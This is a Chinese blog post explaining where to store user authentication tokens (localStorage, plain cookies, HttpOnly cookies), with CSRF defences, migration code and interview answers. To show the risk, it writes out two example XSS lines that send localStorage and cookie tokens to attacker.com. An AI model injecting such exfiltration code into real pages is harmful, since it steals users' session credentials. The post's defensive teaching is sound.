用户 Token 到底该存哪?

news/2026/1/18 17:52:38/文章来源:https://www.cnblogs.com/smileZAZ/p/19498851

🧑‍💻 写在开头

点赞 + 收藏 === 学会🤣🤣🤣

面试官问:"用户 token 应该存在哪?"

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。


三种存储方式,一张图看懂差异

前端存 token,主流就三种:

ScreenShot_2026-01-18_173653_730

 

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后
localStorage.setItem('token', response.accessToken);// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

  

你可能会想:"我的代码没有 XSS 漏洞。"

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。


普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好。


HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie。

它的核心优势只有一句话:JavaScript 读不到。

// 后端设置(Node.js 示例)
res.cookie('access_token', token, {httpOnly: true,    // JS 访问不到secure: true,      // 只在 HTTPS 发送sameSite: 'lax',   // 防 CSRFmaxAge: 3600000    // 1 小时过期
});
设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。
// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {credentials: 'include'
});// 攻击者的 XSS 脚本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

ScreenShot_2026-01-18_173703_963

好消息是:CSRF 比 XSS 容易防得多。

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite

res.cookie('access_token', token, {httpOnly: true,secure: true,sameSite: 'lax'  // 关键配置
});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly,前端需要读// 前端请求时带上
fetch('/api/transfer', {method: 'POST',headers: {'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]},credentials: 'include'
});// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。


核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护


真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {const token = generateToken(user);res.json({ accessToken: token });
});// 改造后
app.post('/api/login', (req, res) => {const token = generateToken(user);res.cookie('access_token', token, {httpOnly: true,secure: true,sameSite: 'lax',maxAge: 3600000});res.json({ success: true });
});

前端改动

前端请求时不再手动带 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});// 改造后
fetch('/api/user', {credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout', (req, res) => {res.clearCookie('access_token');res.json({ success: true });
});

  

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  1. 严格防 XSS

    • textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  2. Token 过期时间要短

    • Access Token 15-30 分钟过期
    • 配合 Refresh Token 机制
  3. 敏感操作二次验证

    • 转账、改密码等操作,要求输入密码或短信验证
  4. 监控异常行为

    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

回到开头的问题,面试怎么答?

简洁版(30 秒):

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1-2 分钟):

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问):

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果对您有所帮助,欢迎您点个关注,我会定时更新技术文档,大家一起讨论学习,一起进步。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1178958.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI工具助力论文撰写:高效生成与降重,初稿轻松搞定

AI工具性能速览表 工具名称 核心功能 处理时间 AI生成率控制 适配检测平台 askpaper 降AIGC率降重同步 20分钟 个位数 知网/格子达/维普 秒篇 AI痕迹深度弱化 20分钟 个位数 知网/格子达/维普 aicheck 全学科初稿生成 20-30分钟 低水平 - aibiye 文献智能…

从原理到落地:Mamba-YOLOv8 全面实战指南(源码 + 训练 + 部署一次学会)

文章目录前言一、技术背景与动机1.1 传统架构的局限性1.2 Mamba的创新优势二、Mamba-YOLOv8架构详解2.1 整体架构设计2.2 核心模块:VSSblock2.3 SS2D模块工作原理三、完整实现流程3.1 环境配置3.2 代码集成步骤3.3 训练与微调四、性能分析与优化4.1 精度提升策略4.2…

vue3+python气象数据共享平台 天气预报数据共享系统

目录气象数据共享平台摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!气象数据共享平台摘要 该系统基于Vue3前端框架与Python后端技术构建,旨在实现高效、安全的气象数据共享…

为什么YOLOv13要用SKAttention?一文搞懂选择性核注意力的原理与实战效果

文章目录 SKAttention模块深度解析:选择性核注意力机制的理论与实践 1. 引言与背景 2. 理论基础与设计思想 2.1 传统多尺度方法的局限性 2.2 选择性核机制的生物学启发 2.3 注意力机制的演进 3. 模块架构详细分析 3.1 整体架构设计 3.2 构造函数详解 3.3 Split阶段:多核特征提…

AI培训:这不是又一个“割韭菜”风口,而是一个时代的基建革命

最近很多人问我怎么看现在满天飞的AI课,是不是割韭菜的又来了。我说,有些确实是,但更大的真相是:现在很多讲AI的人,根本不知道真正的复杂组织是怎么运作的。他们没做过实体项目,不懂生产线上的瓶颈在哪&…

vue3+python的多媒体素材管理系统

目录多媒体素材管理系统摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!多媒体素材管理系统摘要 该系统基于Vue3前端框架与Python后端技术构建,旨在实现高效、可扩展的多媒体…

从0到上线:用 Docker + TensorRT 将 YOLO 人体检测推理速度提升数倍(上篇)

往期文章 RK3588+docker+YOLOv5部署:https://blog.csdn.net/FJN110/article/details/149673049 RK3588测试NPU和RKNN函数包装https://blog.csdn.net/FJN110/article/details/149669753 RK3588刷机:https://blog.csdn.net/FJN110/article/details/149669404 以及深度学习部署工…

AI赋能论文撰写:7个LaTeX兼容网站推荐

工具快速对比排名(前7推荐) 工具名称 核心功能亮点 处理时间 适配平台 aibiye 学生/编辑双模式降AIGC 1分钟 知网、万方等 aicheck AI痕迹精准弱化查重一体 ~20分钟 知网、格子达、维普 askpaper AIGC率个位数优化 ~20分钟 高校检测规则通…

NuImages 数据集转 YOLO 格式全攻略|踩过的坑和完整解决方案汇总

文章目录 前言 一、YOLO格式是什么? 二、Nuimages数据集简介 2.1 Nuscenes与Nuimages概述 2.2 Nuimages数据集的标注结构 2.3 转换Nuimages数据为YOLO格式 三、YOLO格式转换步骤详解 3.1 获取并处理数据 3.2 转换YOLO格式 3.3 保存YOLO格式数据 3.4 完整的转换代码 四、总结与…

还在嫌 YOLOv8 太慢?L1 剪枝实测:精度仅降 0.8%,速度大幅提升

剪枝后对比图: 文章目录 代码 原理介绍 核心做法概述 移植代码 下载yolov8代码 在工作根目录创建compress.py 创建ultralytics\models\yolo\detect\compress.py ultralytics\models\yolo\detect\compress.py 移植ultralytics\nn\extra_modules 移植ultralytics\cfg\hyp.scra…

vue3+python的粮油商品交易平台设计与实现

目录粮油商品交易平台设计与实现摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!粮油商品交易平台设计与实现摘要 基于Vue3和Python的粮油商品交易平台旨在构建一个高效、安全、用户友好…

YOLOv5在RK3588上性能翻倍:INT8量化与轻量化部署全实战

往期文章 RK3588测试NPU和RKNN函数包装:https://blog.csdn.net/FJN110/article/details/149669753 RK3588刷机:https://blog.csdn.net/FJN110/article/details/149669404 以及深度学习部署工程师1~31主要学习tensorRT、cmake、docker、C++基础、语义分割、目标检测、关键点识…

基于深度学习的数字识别检测系统(YOLOv10+YOLO数据集+UI界面+模型)

一、项目介绍 项目背景: 数字识别是计算机视觉领域的一个重要任务,广泛应用于车牌识别、手写数字识别、工业自动化、文档处理等场景。传统的数字识别方法依赖于特征工程和模板匹配,难以应对复杂场景下的识别需求。基于深度学习的目标检测技术能够自动学…

vue3+python的运动减肥计划系统的设计与实现

目录运动减肥计划系统的设计与实现摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!运动减肥计划系统的设计与实现摘要 该系统基于Vue3前端框架与Python后端技术,结合现代化W…

YOLOv8-Pose人体姿态识别在RK3588上的工程化部署方案(训练 / 转换 / 加速全覆盖)

文章目录 【YOLOv8-pose姿态识别部署至RK3588:模型训练到RKNN落地,让人体姿态分析精度与边缘推理速度双突破】 一、项目背景与技术选型:为何选择YOLOv8-pose+RK3588? 二、环境搭建:从代码仓库到硬件适配 1. 源码获取与工程结构 2. 依赖安装与硬件配置 三、YOLOv8-pose模型…

RK3588实战秘籍:YOLOv5s多线程部署,FPS从16飙升到120,轻量化+性能加速全流程教学

往期文章 RK3588RGA加速:https://blog.csdn.net/FJN110/article/details/149697775?spm=1001.2014.3001.5501 RK3588int8量化:https://blog.csdn.net/FJN110/article/details/149689460?spm=1001.2014.3001.5501 RK3588测试NPU和RKNN函数包装:https://blog.csdn.net/FJN110…

2025年成都火锅指南:聚焦春熙路口碑店铺,火锅店/美食/火锅/特色美食/老火锅/重庆火锅/川渝火锅,成都火锅品牌排行 - 品牌推荐师

行业洞察:春熙路火锅市场的竞争与机遇 成都火锅市场近年来呈现“本地化深耕”与“全国化扩张”并行的趋势。春熙路作为成都核心商圈,日均客流量超50万人次,火锅门店密度达每百米1.2家,竞争激烈程度居全国前列。据第…

RK3588 上手 YOLOv11:一步步教你完成高性能目标检测部署

文章目录 数据集根目录(根据实际情况修改) 划分比例 创建目标文件夹 获取所有图像文件 计算各数据集的文件数量 复制文件到对应文件夹 训练集、验证集、测试集路径 类别数量 类别名称 若使用自定义数据集,需修改 “train”“val”“test” 的路径为你划分后的数据集路径,“…

stm32智能手表 - 实践

stm32智能手表 - 实践2026-01-18 17:36 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-…

YOLOv8模型瘦身到极致:LAMP剪枝实战,部署速度翻倍

YOLOv8模型瘦身术:深度解析与实战LAMP剪枝 (2021) 文章目录 YOLOv8模型瘦身术:深度解析与实战LAMP剪枝 (2021) 引言:为何模型剪枝至关重要? 1. 理论深潜:LAMP剪枝的核心思想与创新 1.1 幅度剪枝 (MP) 的“简单与粗暴” 1.2 LAMP 的核心创新点:最小化L2失真 1.3 巧妙化简:…